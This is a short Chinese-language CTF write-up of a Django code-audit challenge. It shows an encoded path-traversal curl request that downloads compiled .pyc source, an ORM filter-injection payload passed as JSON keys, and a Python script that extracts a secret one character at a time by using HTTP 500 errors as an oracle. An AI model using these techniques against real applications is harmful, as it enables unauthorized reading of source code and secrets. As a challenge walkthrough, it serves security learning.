很开心再次有这么一个平台,感谢长亭的师傅们:)
一个关于python的小代码审计

首先发现static目录,测试发现可任意读取文件,然后发现过滤了py,但pyc没有过滤,引人
深思,burp看了下发现是django,CPython/3.5.2,发现了存在pyc文件:
urls/ init /views/models
于是下载下来:
Desktop curl http://54.223.46.206:8003/static%2f..%2f__pycache__%2furls.cpython-35.pyc > 1.pyc
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed
100 469 0 469 0 0 2478 0 --:--:-- --:--:-- --:--:-- 2481
Desktop uncompyle6 1.pyc > 4.py
得到源码后进行分析,问题出在这里:

对于post的数据进行json处理,而在django中,我们可以传参数进行执行,这样也就导致了我们可以任意注入:
<filter:where **data:and>
payload:{"passkey__startswith":"xxxxxxxxxxxxxxxxxxx"}
这样很明显,如果存在数据,那么if not会过,但是data['passkey']不存在,会导致500。不存在就是0,if not 0 =>403本来以为是要注入用户名密码...结果发现注出来长亭那个账号进去了no egg use...
于是看了下,发现还有group类,而且ForeignKey,看了下secret那个字段值得怀疑QAQ: 那就怼一下,拿起小py,得到flag:
import requests import demjson payloads='abcdefghigklmnopqrstuvwxyz0{}123456789@_.#@' secret = "pwnhub{flag:" while True: for payload in payloads: r = requests.post("http://54.223.46.206:8003/login/", data=demjson.encode({"group__secret__contains": secret + payload})) if r.status_code == 500: secret += payload print "flag===>"+secret break